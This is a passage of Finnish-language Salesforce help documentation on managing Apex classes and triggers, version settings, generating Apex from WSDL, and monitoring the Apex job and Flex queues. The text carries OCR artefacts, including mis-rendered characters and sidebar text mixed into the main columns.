luodaksesi Apex-luokan WSDL-asiakirjasta.

Kun olet luonut Apex-luokan, voit
® muokata luokkaa editorissa valitsemalla luokan nimen vierestd Muokkaa

e poistaa luokan organisaatiosta valitsemalla luokan nimen vierestd Poista

@ Note:

- Voit lisdtd, muokata tai poistaa Apex-koodia Salesforce-kayttoliittymdstd vain Developer Edition -organisaatiossa, Salesforce
Enterprise Edition -kokeiluorganisaatiossa tai sandbox-organisaatiossa. Voit tehdd muutoksia
Salesforce-tuotanto-organisaatiossa Apex:iin vain kayttamalld Metadata APl -kutsua deploy tai Force.com IDE- tai
Force.com Migration Tool -tyokalua. Force.com IDE ja Force.com Migration Tool ovat Salesforcen tarjoamia ilmaisia tyokaluja
sen kayttajien ja kumppanien tueksi, mutta ne eivat ole osa sen palvelua siind merkityksessa kuin Salesforce-palvelun
paatilaussopimus iimaisee.

- Luokkaa, joka on mdaritetty Visualforce-sivua tai komponenttia ohjaavaksi, ei voi poistaa.

- Kuvake & osoittaa, ettd Apex-luokka julkaistiin hallittavassa paketissa. Pakettien Apex-luokissa tulee ottaa huomioon
erikoisia seikkoja.

= Kuvake 4 osoittaa, ettd Apex-luokka on asennetussa hallittavassa paketissa. Hallittavan paketin luokkaa ei voi muokata
tai poistaa.

- Kuvake # osoittaa, ettd aiemmin julkaistussa, hallittavassa paketissa oleva Apex-luokka poistetaan seuraavaa pakettia
ladattaessa. Voit peruuttaa Apex-luokan poistamisen paketin lisatietosivulta.

e Jos Apex-luokassa on yhtddn metodia, jonka madritys on webService, voit valita luokan nimen vieresta WSDL luodaksesi
WSDL-asiakirjan luokan sisalléstd. Tamd asiakirja sisaltda kaiken tiedon, jota asiakas tarvitsee Apex Web-palvelumetodien kayttoon.
Kaikki webService-avainsanalla madritetyt luokkametodit liitetddn luotuun WSDL-asiakirjaan.

e Napsauta luokan nimen vierestd Suojaus valitaksesi profiilit, jotka saavat suorittaa metodeja ylimman tason sisdantulokohdista,
kuten Web-palvelumetodeista. Tama linkki ndyttad vain global-madritetyt luokat luokista, jotka on asennettu organisaatioosi
osana hallittavaa pakettia.
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e Napsauta Arvioi organisaatiosi koodin kattavuus ndhdaksesi kuinka suuren osan organisaatiosi Apex-koodista yksikkotestit talla
hetkelld kattavat. Tama prosenttiluku perustuu suoritettujen testien viimeisimpiin tuloksiin. Jos testituloksia ei ole, koodin kattavuus
on 0 %.

e Jos vahintadn yhdessa Apex-luokassa on yksikkétestejd, voit suorittaa kaikki organisaation yksikkotestit valitsemalla Suorita kaikki
testit.

e Napsauta Kdanna kaikki luokat kaantadksesi kaikki organisaatiosi Apex-luokat. Jos sinulla on hallittavasta paketista asennettuja
luokkia, joissa on testimetodeja tai testiluokkia, sinun tdytyy kadntda ne ennen kuin voit tarkastella tai suorittaa niitd Apex-testien
suoritussivulta. Hallittavien pakettien luokkia voidaan kaantaa vain Kdanna kaikki luokat -linkin avulla, koska niitd ei voi tallentaa.
Muutoin muualta kuin hallittavasta paketista tulevien Apex-luokkien tallentaminen kddntaa ne uudelleen. Tama linkki kdantaa kaikki
organisaatiosi Apex-luokat riippumatta siitd, ovatko ne tulleet hallittavasta paketista.

@ Note: Nimitilan etuliite on liitetty Apex-luokkiin ja -kdynnistimiin, Visualforce-komponentteihin ja -sivuihin, tuotemerkkimalleihin,
kansioihin, s-control-objekteihin, staattisiin resursseihin, verkkolinkkeihin ja mukautettuihin raporttityyppeihin, mikali ne sisaltyvét
hallittavaan pakettiin. Jos sinulla ei ole sovellusten mukautusoikeutta, nimitilan etuliitekenttda ei ndy tuotemerkkimalleissa, kansioissa
eikd mukautetuissa raporttityypeissa.

KATSO MYOS:
Apex-luokkien mddrittdminen

Apex-luokkien tarkasteleminen

Apex-kdynnistimien hallinta

Kdynnistin on Apex-koodi, joka suoritetaan ennen tiettyjen DML-tapahtumien suorittamista tai EDITION-VERSIOT
tapahtumien suorittamisen jalkeen. Kdynnistin voidaan suorittaa esimerkiksi ennen kuin
objektitietueet siirretdan tietokantaan tai tietueiden poistamisen jalkeen.

Kaytettavissd Salesforce
Kaynnistimet tallennetaan Salesforceen metadatana. Luettelo organisaatiosi kaikista kaynnistimista Classicissa ja Lightning
[6ytyy Madritykset-valikon Apex-kdynnistimet-sivulta. Kdynnistimet liittyvat tiettyihin objekteihin ja Experiencessa

sijaitsevat niissg, ja niiden luettelo [dytyy niiden objektin hallinta-asetuksista. Jos haluat kayttdosi

S S . o , Kaytettdvissa: Enterprise
kaikki kehitystoiminnot, kdyta Developer-konsolia.

Edition-, Performance
Edition-, Unlimited Edition-,
Developer Edition- ja
Database.com Edition
-versioissa

@ Note: Nimitilan etuliite on liitetty Apex-luokkiin ja -kdynnistimiin, Visualforce-komponentteihin
ja -sivuihin, tuotemerkkimalleihin, kansioihin, s-control-objekteihin, staattisiin resursseihin,
verkkolinkkeihin ja mukautettuihin raporttityyppeihin, mikali ne sisaltyvat hallittavaan pakettiin.
Jos sinulla ei ole sovellusten mukautusoikeutta, nimitilan etuliitekenttda ei ndy
tuotemerkkimalleissa, kansioissa eikd mukautetuissa raporttityypeissa.

Napsauta Uusi luodaksesi Apex-kdynnistimen. KAYTTJACIKEUDET

@ Note: Voit luoda kaynnistimia vain liitetyistd objekteista, etkd Apex-kdynnistimet -sivulta. Apex-.kdyn.nisﬁmien
madrittaminen,

Kun olet luonut Apex-kdynnistimen, voit muokkaaminen,

A . B . N poistaminen,

e muokata kaynnistinta editorissa valitsemalla kaynnistimen nimen vierestd Muokkaa versioasetusten aseffaminen

e poistaa kdynnistimen organisaatiosta valitsemalla kdynnistimen nimen vieresta Poista. ja riippuvuuksien
tarkasteleminen:

@ Note: o Apex-laadintaoikeus

e Voit lisdtd, muokata tai poistaa Apex-koodia Salesforce-kayttéliittymasta vain Developer
Edition -organisaatiossa, Salesforce Enterprise Edition -kokeiluorganisaatiossa tai
sandbox-organisaatiossa. Voit tehdd muutoksia Salesforce-tuotanto-organisaatiossa
Apexiin vain kdyttdmalld Metadata APl -kutsua deploy tai Force.com IDE- tai Force.com
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Migration Tool -tyokalua. Force.com IDE ja Force.com Migration Tool ovat Salesforcen tarjoamia ilmaisia tyokaluja sen kdyttajien
ja kumppanien tueksi, mutta ne eivat ole osa sen palvelua siina merkityksessa kuin Salesforce-palvelun péatilaussopimus

iimaisee.

® Kuvake # osoittaa, ettd Apex-kdynnistin on asennetussa hallittavassa paketissa. Hallittavan paketin kdynnistintd ei voi muokata

tai poistaa.

®  Kuvake 3 osoittaa, ettd aiemmin julkaistun, hallittavan paketin Apex-kdynnistin poistetaan seuraavaa pakettia ladattaessa.

Voit peruuttaa Apex-kdynnistimen poistamisen paketin lisdtietosivulta.

KATSO MYOS:

Apex-kdynnistimien maarittdaminen

Apex-version asetusten hallinta

Luokat talletetaan mdardttyjen Apex-ja APl-versioiden asetuksilla, mikd parantaa yhteensopivuutta
aiempien versioiden kanssa. Jos Apex-luokka viittaa asennettujen hallittavien pakettien
komponentteihin, kuten mukautettuihin objekteihin, kunkin hallittavan paketin version asetukset,
joihin luokka viittaa, tallennetaan myos. Talld varmistetaan, ettd kun Apex, APl ja hallittavien pakettien
komponentit kehittyvdt seuraavissa julkaistavissa versioissa, luokka tai kdynnistin pysyvat sidottuna
versioon, joka toimii erityiselld, tutuksi tulleella tavalla.

Pakettiversio on numero, jolla tunnistetaan pakettiin ladattujen komponenttien sarja. Version
numerolla on muoto majorNumber.minorNumber.patchNumber (esimerkiksi 2.1.3).
Suurempi ja pienempi numero kasvavat valittuun arvoon kunkin suuren julkistuksen aikana.
Korjausnumero luodaan ja pdivitetdan vain korjausversiolle. Julkaisijat voivat kdyttda paketin
versioita hallittavien pakettien komponenttien kehittdmiseen julkistamalla seuraavan paketin version
rikkomatta nykyisten, pakettia kdyttavien asiakkaiden integraatiota.

Salesforce API- ja Apex-version mdadrittdminen luokalle tai kdynnistimelle:

1. Muokkaa joko luokkaa tai kdynnistintd, ja napsauta sitten Version asetukset.

2. Valitse SalesforceAPln versio.Tdmd on myds luokkaan tai kdynnistimeen liittyvd Apex-versio.
3. Napsauta Tallenna.

Paketin version asetusten maarittaminen luokalle tai kaynnistimelle:

1. Muokkaa joko luokkaa tai kdynnistintd, ja napsauta sitten Version asetukset.

2. Valitse Versio kullekin hallittavalle paketille, johon luokka tai kaynnistin viittaa. Luokka ja
kdynnistin kayttavat tata hallittavan paketin versiota, jos asennetaan hallittavien pakettien
myohempia versioita, kunnes paivitat version asetukset manuaalisesti. Voit lisdta asennetun
hallittavan paketin asetusten luetteloon valitsemalla paketin kdytettavissa olevien pakettien
luettelosta. Tama luettelo ndkyy vain, jos sinulla on asennettuna hallittava paketti, joka ei jo liity
luokkaan tai kdynnistimeen.

3. Napsauta Tallenna.

Huomaa seuraavaa, kun kdytdt paketin version asetuksia:

EDITION-VERSIOT

Kéytettavissd: Salesforce
Classicissa

Kéytettavissa Performance
Edition-, Unlimited Edition-,
Developer Edition-,
Enterprise Edition- jo
Database.com Edition
-versioissa

Hallittavat paketit eivét ole
kaytettdvissd
Database.com-versiossa.

KAYTTJAOIKEUDET

Apex-luokkien
madrittdminen,
muokkaaminen,
poistaminen,
suojausasetusten
madrittdminen,
versioasetusten
madrittdminen,
riippuvuuksien
tarkasteleminen ja testien
suorittaminen:

e Apex-laadintaoikeus

e Jos tallennat Apex-luokan tai -kdynnistimen, joka viittaa sellaiseen hallittavaan pakettiin, jolla ei ole maaritettyd hallittavan paketin
versiota, Apex-luokka tai kdynnistin liitetddn oletuksena viimeksi asennetun hallittavan paketin versioon.

e Jos pakettiin liittyy luokka tai kaynnistin, hallittavan paketin luokan tai kdynnistimen version asetuksia ei voi Poistaa. Napsauta Nayta

riippuvuudet |6ytadksesi, missd hallittavaan pakettiin viitataan luokalla tai kdynnistimelld.
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Apex-luokkien tarkasteleminen

Kun olet luonut luokan, voit tarkastella luokan sisaltdmaa koodia ja APl:a, johon luokka on tallennettu
sekd luokan kelvollisuutta ja aktiivisuutta. Kirjoita Madritykset-valikon Pikahaku-kenttdan
Apex-luokat, valitse Apex-luokat ja napsauta tarkasteltavan luokan nimea. Luokkaa
tarkastellessasi voit tehdd mitd tahansa seuraavista:

e \Voit tehdd muutoksia luokkaan valitsemalla Muokkaa.

@ Note:

Voit lisdtd, muokata tai poistaa Apex-koodia Salesforce-kdyttéliittymésta vain Developer
Edition -organisaatiossa, Salesforce Enterprise Edition -kokeiluorganisaatiossa tai
sandbox-organisaatiossa. Voit tehdd muutoksia Salesforce-tuotanto-organisaatiossa
Apexiin vain kdyttamalla Metadata APl -kutsua deploy tai Force.com IDE- tai
Force.com Migration Tool -tyokalua. Force.com IDE ja Force.com Migration Tool ovat
Salesforcen tarjoamia ilmaisia tydkaluja sen kayttdjien ja kumppanien tueksi, mutta
ne eivdt ole osa sen palvelua siind merkityksessa kuin Salesforce-palvelun
pdatilaussopimus ilmaisee.

Kuvake 4 osoittaa, ettd Apex-luokka julkaistiin hallittavassa paketissa. Pakettien
Apex-luokissa tulee ottaa huomioon erikoisia seikkoja.

Kuvake 4 osoittaa, ettd Apex-luokka on asennetussa hallittavassa paketissa.
Hallittavan paketin luokkaa ei voi muokata tai poistaa.

Kuvake & osoittaa, ettd aiemmin julkaistussa, hallittavassa paketissa oleva Apex-luokka
poistetaan seuraavaa pakettia ladattaessa. Voit peruuttaa Apex-luokan poistamisen
paketin lisdtietosivulta.

Voit lisdtd, muokata tai poistaa Apex-koodia Salesforce-kayttoliittymadstd vain Developer
Edition -organisaatiossa, Salesforce Enterprise Edition -kokeiluorganisaatiossa tai
sandbox-organisaatiossa. Voit tehdd muutoksia Salesforce-tuotanto-organisaatiossa
Apexiin vain kdyttamalld Metadata APl -kutsua deploy tai Force.com IDE- tai Force.com
Migration Tool -tyokalua. Force.com IDE ja Force.com Migration Tool ovat Salesforcen

tarjoamia ilmaisia tydkaluja sen kayttdjien ja kumppanien tueksi, mutta ne eivat ole osa
sen palvelua siind merkityksessa kuin Salesforce-palvelun paatilaussopimus ilmaisee.

e Voit poistaa luokan valitsemalla Poista.

Apex-, Visualforce- ja Lightning-komponentit

EDITION-VERSIOT

Kéytettdvissd Salesforce
Classicissa ja Lightning
Experiencessa

Kéytettdvissd: Enterprise
Edition-, Performance
Edition-, Unlimited Edition-,
Developer Edition- ja
Database.com Edition
-versioissa

KAYTTJAOIKEUDET

Apex-luokkien
madrittdminen,
muokkaaminen,
poistaminen,
suojausasetusten
madrittdminen,
versioasetusten
madrittdminen,
riippuvuuksien
tarkasteleminen ja testien
suorittaminen:

e Apex-laadintaoikeus

@ Note: Luokkaa, joka on maaritetty Visualforce-sivua tai komponenttia ohjaavaksi, ei voi poistaa.

e Jos luokassasi on webService-madritelty metodi, valitse Luo WSDL luodaksesi luokkaan perustuvia WSDL-asiakirjoja.

@ Note: WSDL-asiakirjaa ei voi luoda luokista, joiden mdarityksend on isTest.

e |ataa kopio Apex-koodistasi napsauttamalla Lataa.

e Napsauta Suorita testi suorittaaksesi luokan sisdltamat yksikkotestit.

e Napsauta Suojaus madrittaaksesi Apex-luokan suojauksen.

e Napsauta Nayta riippuvuudet nahdaksesi kohteet, kuten kentat, objektit ja muut luokat, joiden on oltava olemassa, jotta tdmad
luokka on kaypa.

Luokan yhteenveto -valilehti ndyttda luokan prototyypin, eli luokat, metodit ja muuttujat, jotka ovat muun Apex-koodin kdytdssa.
Luokan yhteenveto -valilehdessd on luettelo Apex-luokkien ja sisdisten luokkien metodien ja muuttujien kayttdoikeuksista ja
allekirjoituksista. Jos prototyyppid ei ole kdytettavissd, tdma valilehti ei ole kdytettavissa.
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@ Note:

e Niiden Apex-luokkien osalta, jotka eivdt sisélly hallittuihin paketteihin, ndytetddn ainoastaan ne luokat, metodit ja muuttujat,
joiden madrityson globaali tai julkinen.

e Hallittavassa paketissa olevien Apex-luokkien Luokan yhteenveto -vililehti kertoo myés pakettiversion, johon tietty omaisuus
tai metodi otettiin kayttoon. Voit valita versionumeron alasvetoluettelosta nahdaksesi valitun pakettiversion prototyypin.
Oletusarvona on tdlld hetkelld asennettu versio. Paketin kehittdja voi hyldtd Apexmenetelman ja ladata uuden pakettiversion,
ja siten julkaista Apex-luokan, jolla on eri prototyyppi. Vain ne luokat, metodit ja muuttujat, jotka on madritetty arvolla
globaali, ndytetdan hallittavien pakettiluokkien prototyypissa.

Jos Apex-luokkaan liittyvia komponentteja on asennettu hallittaviin paketteihin, kuten toinen luokka, kdynnistin tai mukautettu objekti,
Version asetukset -valilehden luettelo ndyttda ne pakettien pakettiversiot, jotka sisaltdvat viitatut komponentit.

Lokisuodattimet-vililehti ndyttad virheenkorjauslokiluokat ja virheenkorjauslokitasot, jotka voit mdarittdd luokalle.

KATSO MYOS:
Apex-luokkien maarittaminen
Apex-luokkien hallinta

Virheenkorjauslokin suodattaminen Apex-luokille ja Apex-kdynnistimille

Apex-kaynnistiminen lisdtietojen tarkasteleminen

Apex-kdynnistimet tallennetaan sovellukseen metatietoina sen objektin kohdalle, johon ne liittyvat. EDITION-VERSIOT
Voit myds tarkastella kaikkia kdynnistimia kirjoittamalla Maaritykset-valikon Pikahaku-kenttdan
Apex-kdynnistimet javalitsemalla Apex-kdynnistimet.

Kéytettdvissd Salesforce

@ Nofte: Voit lisdtd, muokata tai poistaa Apex-koodia Salesforce-kayttoliittymastd vain Developer Classicissa ja Lightning

Edition -organisaatiossa, Salesforce Enterprise Edition -kokeiluorganisaatiossa tai Experiencessa

sandbox-organisaatiossa. Voit tehdd muutoksia Salesforce-tuotanto-organisaatiossa Apex:in Kaytettavissa: Enterprise

vain kayttamdlla Metadata APl -kutsua deploy tai Force.com IDE- tai Force.com Migration Edition-, Performance

Tool -tydkalua. Force.com IDE ja Force.com Migration Tool ovat Salesforcen tarjoamia ilmaisia Edition-, Unlimited Edition-,

tyokaluja sen kdyttdjien ja kumppanien tueksi, mutta ne eivdt ole osa sen palvelua siind Developer Edition- ja

merkityksessa kuin Salesforce-palvelun paatilaussopimus ilmaisee. Database.com Edition
-versioissa

Jos haluat ndhda kdynnistimen lisétiedot, kirjoita Mddritykset-valikon Pikahaku-kenttadn
"Apex-kdynnistimet", valitse Apex-kdynnistimet ja napsauta kdynnistimen nimed. Voit ndhda
kaynnistimen lisitiedot myds sen objektin hallinta-asetuksista. KAYTTJAOIKEUDET

Kéynnistimen listietosivulla voit tehdd mitd tahansa seuraavista: Apex-kdynnisfimien

e Voit muokata kdynnistimen sisdltdd valitsemalla Muokkaa. tarkasteleminen:

e Apex-laadintaoikeus
@ Note: Kuvake 4 osoittaa, ettd Apex-kdynnistin on asennetussa hallittavassa paketissa.

Hallittavan paketin kdynnistintd ei voi muokata tai poistaa.

e Voit poistaa kdynnistimen organisaatiostasi napsauttamalla Poista.

e Napsauta Nayta riippuvuudet nahdaksesi kohteet, kuten kentat, s-control-objektit tai luokat, joihin kdynnistimen sisaltama Apex-koodi
viittaa.

e Voit ladata kdynnistimen tekstin valitsemalla LataaApex. Tiedosto tallennetaan kdynnistimen nimen mukaisella tiedostonimelld,
jonka tiedostotyyppion . trg.

Kdynnistimen lisatietosivu ndyttad seuraavat kdynnistimen tiedot:
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e Kdynnistimen nimi.
e Sen objektin nimi, johon kdynnistin liittyy, kuten Tili tai Tapaus.
e APl-versio, johon suhteessa kaynnistin on tallennettu.

e Tieto siitd, onko kdynnistin voimassa.

@ Note: Kdynnistimien mukana tallennetaan isvalid-lippu, jonka arvo on true, elleivdt riippuvaiset metatiedot ole
muuttuneet kdynnistimen kddntamisen jalkeen. Kun kaynnistimessa kaytettyja objektien nimid tai kenttia muutetaan tai objektin
tai kentdn kuvausta muokataan, i svalid-lipun arvoksitulee false, kunnes Apex-kadntdja kasittelee koodin uudelleen.
Uudelleenkddntdminen tapahtuu, kun kaynnistin suoritetaan tai kun kayttdja tallentaa kdynnistimen uudelleen metatietoihin.

Jos hakukentta viittaa poistettuun tietueeseen, Salesforce tyhjentaa hakukentdn arvon oletusarvoisesti. Voit myds paattaa olla
poistamatta tietueita, jos ne ovat hakusuhteessa.

e Tieto siitd, onko kaynnistin aktiivinen.
e Kdynnistimen sisdltdman Apex-koodin teksti.

e Jos kaynnistimeen liittyvid komponentteja on asennettu hallittaviin paketteihin, kuten Apex-luokka, Visualforce-sivu, mukautettu
objekti, jne, version asetusten osien luettelo ndyttad ne pakettien pakettiversiot, jotka sisdltavat viitatut komponentit..

e Jos kdynnistin sisdltyy asennettuun hallittavaan pakettiin, Asennettu paketti osoittaa paketin nimen.

Lokisuodattimet-vdlilehti ndyttda virheenkorjauslokiluokat ja virheenkorjauslokitasot, jotka voit maarittad kaynnistimelle. Lisatietoja on
kohdassa Virheenkorjauslokien suodattaminen Apex-luokille ja Apex-kdynnistimille sivulla 287.

Apex-luokan luominen WSDL-asiakirjasta

Apex-luokka voidaan luoda automaattisesti WSDL-asiakirjasta, joka on tallennettu paikalliselle EDITION-VERSIOT
kiintolevylle tai verkkoon. Jos luokka on luotu WSDL-asiakirjasta, kehittdjat voivat kutsua ulkoista
Web-palvelua Apex:istaan.

Kéytettdvissd Salesforce

@ Nofe: Kaytd ldhtevid viesteja integrointiratkaisujen kasittelyyn aina, kun mahdollista. Kaytd Classicissa ja Lightning

kolmansien osapuolten Web-palvelujen kutsuja vain tarvittaessa. Experiencessa
Toiminnon kayttdminen: Kaytett@vissd: Enterprise
. Uk S ik . p— vl Edition-, Performance
1. Kirjoita sovelluksen Maaritykset-valikon Pikahaku-kenttddn Apex-Iluokat ja valitse Edition-, Unlimited Edifion-,
Apex-luokat. Developer Edition- ja
2. Valitse Luo WSDL-asiakirjasta. Database.com Edition
-versioissa

3. Hae WDSL-asiakirja paikalliselta kiintolevylta tai paikallisesta verkosta valitsemalla Selaa, tai
kirjoita koko tiedostopolku. Tama WSDL-asiakirja on luomasi Apex-luokan perusta.

KAYTTJAOIKEUDET

@ Note: Maéaritetty WSDL-asiakirja voi sisaltdd SOAP-pddtepisteen, joka viittaa lahtevén

likenteen porttiin. Apex-luokkien
madrittdminen,

Turvallisuussyistd lahtevaksi portiksi voi maarittaa Salesforcessa vain jonkin seuraavista: :
muokkaaminen,

e 80: Tdma portti hyvaksyy vain HTTP-yhteydet poistaminen,
°  443;Tamai portti sallii ainoastaan HTTPS-yhteydet. suojausasetusten
madrittaminen,
®  1024-66535 (sisdltyen): Nama portit hyvaksyvat HTTP- tai HTTPS-yhteydet. versioasetusten
madrittéminen,
4. Tarkista WSDL-asiakirjan sisaltd valitsemalla Jasenna WSDL. Sovellus luo jokaiselle riippuvuuksien
WSDL-asiakirjan nimitilalle luokan oletusnimen ja raportoi virheet. Jisentdaminen epdonnistuu, tarkasteleminen ja testien

suorittaminen:

jos WSDL siséltaa skeematyyppeja tai -rakenteita, joita Apex-luokat eivat tue, tai jos tuloksena ] )
e Apex-laadintaoikeus
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olevat luokat ylittdisivat Apex-luokkien suurimman sallitun merkkimaaran (miljoona merkkia). Esimerkiksi Salesforce SOAP APIWSDL.4a
ei voi jasentdaa.

5. Muokkaa luokkien nimet mieleisiksesi. Voit tallentaa useita WSDL-nimitiloja yhteen luokkaan antamalla kaikille nimitiloille saman
luokan nimen, mutta Apex-luokkien enimmaiskoko on miljoona merkkia.

6. Valitse Luo Apex. Ohjatun toiminnon viimeiselld sivulla nakyvat luokat, joiden luominen onnistui, sekd muiden luokkien virheet.
Tama sivu tarjoaa myds linkin onnistuneesti luodun koodin tarkastelemiseen.

Onnistuneesti luotuihin Apex-luokkiin siséltyy stub- ja type-luokat, joita kdytetadn WSDL-asiakirjan edustaman kolmannen osapuolen
Web-palvelun kutsumiseen. Naiden luokkien avulla voit kutsua ulkoista Web-palvelua Apexista. Jokaiselle luodulle luokalle luodaan
toinen luokka, jolla on sama nimi ja etuliite Async. Ensimmdinen luokka synkronoiduille callout-kutsuille. Toinen luokka
synkronoimattomille callout-kutsuille. Lisétietoja on Force.comApex Code Developer's Guide -oppaassa.

Huomaa seuraavaa luodusta Apex-versiosta:

e Jos WSDL-asiakirja sisaltad varatun Apex-sanan, sana liitetdan muodossa _xApex-luokan luonnin yhteydessd. Esimerkiksi
WSDL-asiakirjan 1imit muuttuu muotoon limit x luodussa Apex-luokassa. Luettelo varatuista sanoista on Force.comApex
Code Developer's -oppaassa.

e Jos WSDL:n toiminnolla on tulosviesti, jossa on enemman kuin yksi elementti, luotu Apex kadrii elementit sisdiseen luokkaan.

Apex-menetelmd, joka edustaa WSDL-toimintoa, palaa sisdiseen luokkaan yksiléllisten elementtien sijasta.

KATSO MYOS:

Apex-luokkien madrittaminen

Apex-téiden jonon seuranta

Apex-toiden jonossa luetellaan kaikki suoritettavaksi lahetetyt Apex-ty6t. Luettelossa ovat seka EDITION-VERSIOT

suoritetut ty6t ettd suoritusta odottavat tyot, kuten

e syorittamattomat Apex-metodit, joissa on future-merkintd. Tallaisten téiden Tyon tyyppi Kaytettdvissa Salesforce
-sarakkeessa on arvo Tuleva, eika niiden Erid yhteensa- tai Kasitellyt erat -sarakkeissa ole arvoja. Classicissa ja Lightning

e syorittamattomat Apex-luokat, jotka ottavat kdyttédn Jonotettava-liittyman. Tallaisten Experiencessa
toiden Tyon tyyppi -sarakkeessa on arvo Tuleva, eikd niiden Erid yhteensa- tai Kasitellyt erdt Kaytettavissa: Enterprise
-sarakkeissa ole arvoja. Edition-, Performance

o Ajoitetut Apex-ty6t, joiden suoritus ei ole vield paattynyt. Edition-, Unlimited Edition-,

Developer Edition- ja
Database.com Edition
-versioissa

- Tallaisten téiden Tydn tyyppi -sarakkeessa on arvo Ajoitettu Apex, niiden Erid yhteensa- tai
Kasitellyt erat -sarakkeissa ei ole arvoja, ja niiden tila on aina Jonossa.

- Ajoitettuja tGitd ei voi keskeyttda taltd sivulta. Kdytd Ajoitetut tyot -sivua hallitaksesi tai
poistaaksesi ajoitettuja toitd.

- Vaikka ajoitettu tyd ndytetadn Apex-tydt-sivulla sekd Ajoitetut tyot -sivulla, se lasketaan kuitenkin vain kerran ei-synkronoitujen
Apex-suoritusten rajoitukseen.

e Apex-jaon uudelleenlaskennan erdtyot, joiden suoritus ei ole vield paattynyt. Tallaisten tdiden Tydn tyyppi -sarakkeessa on arvo Jaon
uudelleenlaskenta. Jaon uudelleenlaskenta -tyon tietueet jaetaan automaattisesti eriin. Erid yhteensa -sarakkeessa nakyy tyon erien
kokonaismaadra. Kasitellyt erdt -sarakkeessa nakyy jo kasiteltyjen erien maara.

e Apex-erdty0t, joiden suoritus ei ole vield padttynyt. Tallaiset tydt on lueteltu Apex-erdnd Tyon tyyppi -sarakkeessa. Apex-erdtoiden
tietueet jaetaan automaattisesti eriin. Erid yhteensa -sarakkeessa ndkyy tyon erien kokonaismaard. Kasitellyt erdt -sarakkeessa nakyy
jo késiteltyjen erien maara.

@ Nofte: Uudelleenlaskujen erdtdiden jakaminen on télld hetkelld kdytettdvissa vain rajoitetulle maaralle julkaisuja. Lisdtietoa
Apex-jakamisen uudelleenlaskennan eratdiden kayttéonotosta organisaatiossasi saat ottamalla yhteytta Salesforceen.
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Tama luettelo sisdltad téiden kaikki mahdolliset tila-arvot. Tila-sarakkeessa nakyy tyoén nykyinen tila. Mahdolliset arvot:

Tila Kuvaus

Jonossa Ty6 odottaa suorittamista.

Valmistelu Tyon start-metodion kutsuttu. Téma tila saattaa kestad
muutaman minuutin, riippuen tietue-erdn koosta.

Kasitelladn Tyo on kasittelyssa.

Keskeytetty Kadyttdja keskeytti tyon.

Valmis Ty6 valmis, virheitta tai virhein.

Epdonnistui Tyon aikana todettiin jdrjestelmavirhe.

Lisaksi Apex-erdtailld voi olla tila Pidossa, kun ne ovat Apex Flex -jonossa. Lisatietoja on kohdassa Apex Flex -jonon seuranta.

Jos yksi tai useampi virhe ilmaantuu erien kasittelyn aikana, Tilan lisdtiedot -sarakkessa ndytetadn ensimmaisen virheen lyhyt kuvaus.
Virheen yksityiskohtaisempi kuvaus ja muut mahdolliset virheet ldhetetdan sahkopostitse kayttdjalle, joka kdynnisti erdluokan suorittamisen.

Saat kohteiden suodatetun luettelon nakyviin valitsemalla N& kymé&-alasvetoluettelosta ennalta madritetyn luettelon tai napsauttamalla
Luo uusi nakyma maarittdaksesi omia mukautettuja nakymid. Tama on kaytannollistd, jos haluat tarkastella vain future-metodeja

tai Apex-eratoitd.

Vain yksi Apex-erdtydn start-metodi voi olla samaan aikaan kdynnissa organisaatiossa. Kaynnistamattomat erdtydt pysyvat jonossa,
kunnes ne kdynnistetdan. Huomaa, ettd tdma rajoitus ei johda minkadn etatydn epdonnistumiseen ja Apex-erdtdiden execute-metodit

suoritetaan yha yhdessd, jos useampi kuin yksi tyd on kdynnissa.

Voit keskeyttad minkd tahansa Apex-tyon kasittelyn valitsemalla Toiminto-sarakkeesta Keskeyta tyo.

Kaikki suoritetut erdty6t poistetaan erdjonoluettelosta viikko valmistumisen jélkeen.

Lisatietoja Apex-koodista on Force.comApex Code Developer's Guide -oppaassa.

KATSO MYOS:

Apexin ajoittaminen

Apex Flex -jonon seuranta

Kaytd Apex Flex -jono -sivua tarkastellaksesi ja jarjestaaksesi uudelleen kaikkia eratéitd, joiden tila
on Pidossa. Voit muuttaa erdtdiden jarjestystd myds ohjelmallisesti Apex-koodilla.

Voit asettaa jopa 100 erdty6ta pitoon odottamaan tulevaa suoritusta. Kun jarjestelman resursseja
vapautuu, Apex Flex -jonon alusta noukitaan toitd ja ne siirretddn eratdiden jonoon. Kussakin
organisaatiossa voidaan kasitelld enintadn viittd jonossa olevaa tai aktiivista ty6ta samanaikaisesti.
Kun tyd siirretdan Flex-jonosta kdsiteltavaksi, se siirtyy Pidossa-tilasta Jonossa-tilaan. Jonoon asetetut
tydt suoritetaan, kun jarjestelma on valmis kdsittelemadn uusia toita.

Voit muuttaa téiden jarjestystd Apex Flex -jonossa tarkeysjarjestykseen. Voit esimerkiksi siirtaa
erdtydn pitojonossa ensimmaiseksi, jolloin se kdsitelldadn ensimmaisend, kun resursseja vapautuu.
Muutoin tyot kdsitellddn samassa jarjestyksessa kuin ne ldhetettiin.
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Apex Flex -jonon valvonta ja jdrjestyksen muuttaminen

Apex Flex -jono -sivu sisaltdd luettelon kaikista Pidossa-tilassa olevista eratdistd. Ndet my0s tietoja kustakin tydstd, kuten tydn tunnus,
lahetyspaiva ja Apex-luokka. Tydt on numeroitu oletusarvoisesti niiden ldhetysjarjestyksessa alkaen 1. sijasta, joka tarkoittaa, ettd tyd
lahetettiin ensimmaisend. Voit muuttaa tyon sijaa napsauttamalla Jarjesta uudelleen ja sy6ttamalld sille uuden sijanumeron. Ty
siirretdan madrittamaasi sijaintiin, ellei sijanumero ole suurempi kuin jonossa olevien tdiden maara. Talldin tyd asetetaan jonon loppuun.
Kun siirrat tyotd, kaikki muut Flex-jonossa olevat tyot jrjestetadn ja numeroidaan uudelleen asianmukaisesti.

@ Nofte: Salesforce-kdyttoliittymadssd Flex-jonossa ensimmadisend oleva tyd on sijalla 1. Kun kdytét Flex-jonoa ohjelmallisesti, Flex-jonon
ensimmainen sija on kuitenkin indeksissa 0.

Kun jdrjestelma valitsee Apex Flex -jonosta seuraavan tyon kasiteltavaksi, tyo siirretdan Apex Flex -jonosta erdtdiden jonoon. Voit valvoa
siirrettya tyotd Apex-tyot-sivulta napsauttamalla Apex-tyot.

Vaihtoehtoisesti voit kdyttda ApexinSystem. FlexQueue-metodeja muuttaaksesi Flex-jonossa olevien erdtdiden jarjestystd. Jos
haluat testata Flex-jonoa, kdytd getFlexQueueOrder () -ja enqueueBatchJobs (numberOfJobs) -metodeja
System. Test-luokassa.

KATSO MYOS:
Apex Developer Guide: FlexQueue Class
Apex Developer Guide: enqueueBatchJobs (numberOfJobs)

Apex Developer Guide: getFlexQueueOrder ()

